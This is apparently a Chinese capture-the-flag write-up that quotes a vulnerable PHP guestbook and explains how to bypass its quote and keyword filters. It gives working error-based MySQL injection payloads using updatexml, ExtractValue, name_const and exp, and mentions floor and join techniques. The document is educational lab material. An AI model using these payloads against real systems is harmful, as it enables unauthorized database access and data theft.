本篇文章源于一道三个白帽的题目
该题源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php include 'config.php'; foreach(array('_GET','_POST','_COOKIE') as $key){ foreach($$key as $k => $v){ if(is_array($v)){ errorBox("hello,sangebaimao!"); }else{ $k[0] !='_'?$$k = addslashes($v):$$k = ""; } } } function filter($str){ $rstr = ""; for($i=0;$i<strlen($str);$i++){ if(ord($str[$i])>31 && ord($str[$i])<127){ $rstr = $rstr.$str[$i]; } } $rstr = str_replace('\'','',$rstr); return $rstr; } if(!empty($message)){ if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){ die("hello,sangebaimao!"); } if(filter($message) !== $message){ die("hello,sangebaimao!"); } $sql="insert guestbook(`message`) value('$message');"; mysql_query($sql); $sql = "select * from guestbook order by id limit 0,5;"; $result = mysql_query($sql); if($result){ while($row = mysql_fetch_array($result)){ $id = $row['id']; $message = $row['message']; echo "|$id|=>|$message|<br/>"; } } $message = stripcslashes($message); $sql = "delete from guestbook where id=$id or message ='$message';"; if(!mysql_query($sql)){ print(mysql_error()); $sql = "delete from guestbook where id=$id"; mysql_query($sql); }; } ?>
这题读完一遍源码之后,就知道需要bypass单引号和preg_match("/\b(select|insert|update|delete)\b/i",$message)
, 然后是二次注入+报错注入.
bypass单引号是借助stripcslashes($message);
该函数,所以使用?message=aaa\x27
来bypass单引号,这不是本篇重点,就不多说了。
然后使用/*!00000select*/
来bypass preg_match("/\b(select|insert|update|delete)\b/i",$message)
/*!*/
只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/
可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 mysql> select version(); +-----------+ | version() | +-----------+ | 5.7.9-log | +-----------+ 1 row in set (0.00 sec) mysql> select /*!50709version()*/; +-----------+ | version() | +-----------+ | 5.7.9-log | +-----------+ 1 row in set (0.00 sec) mysql> select /*!50710version()*/; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
好了,现在可以进行注入了,因为有一句print(mysql_error());
,所以可以报错注入了:报错注入是从写bug中发现的么?
使用updatexml payload:
1 ?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target
中被xpath_expr
匹配到的部分使用new_xml
替换
这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/))
,得到'5.5.42-log
,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log
, 因此得到了你想要得到的数据
payload:
1 ?message=aaa\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23
这个同理上面的,不过区别是ExtractValue(xml_frag, xpath_expr)
得到xml_frag
中被xpath_expr
匹配到的值
不过extractvalue和updatexml有个缺陷是,报错数据最大长度为32
使用name_const payload:
1 ?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mysql> select name_const('a','b'); +------+ | a | +------+ | b | +------+ 1 row in set (0.00 sec) mysql> /*!00000SELECT*/(name_const(version(),1)),name_const(version(),1); +-----------+-----------+ | 5.7.9-log | 5.7.9-log | +-----------+-----------+ | 1 | 1 | +-----------+-----------+ 1 row in set (0.00 sec)
本题利用的是表的字段名不允许重复,报错长度没有限制
利用exp报错 payload:
1 ?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23
利用double型溢出,可参考http://drops.wooyun.org/tips/8166
利用floor报错 可参考http://www.jinglingshu.org/?p=4507 , 对于floor
报错注入我理解的不是特别透彻
利用join报错 join
可用来报列名,同样可参考上面那个链接,本题不是一个很好的join报错案例